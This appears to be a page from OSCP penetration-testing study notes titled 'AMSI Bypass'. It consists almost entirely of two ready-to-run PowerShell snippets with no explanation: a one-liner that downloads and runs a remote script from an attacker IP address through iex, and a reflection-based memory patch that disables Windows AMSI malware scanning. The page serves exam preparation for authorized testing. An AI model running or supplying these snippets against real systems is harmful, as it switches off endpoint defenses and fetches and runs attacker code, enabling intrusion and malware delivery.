> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/exploitation/amsi-bypass.md).

# AMSI Bypass

<details>

<summary><a href="https://github.com/n000b3r/PrivEsc/tree/main/Windows/amsibypass">amsibypass.ps1</a></summary>

```powershell
iex (New-Object Net.WebClient).DownloadString("http://192.168.45.198/amsibypass.ps1")
```

</details>

<details>

<summary><a href="https://amsi.fail/">AMSI.Fail</a></summary>

```powershell
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
```

</details>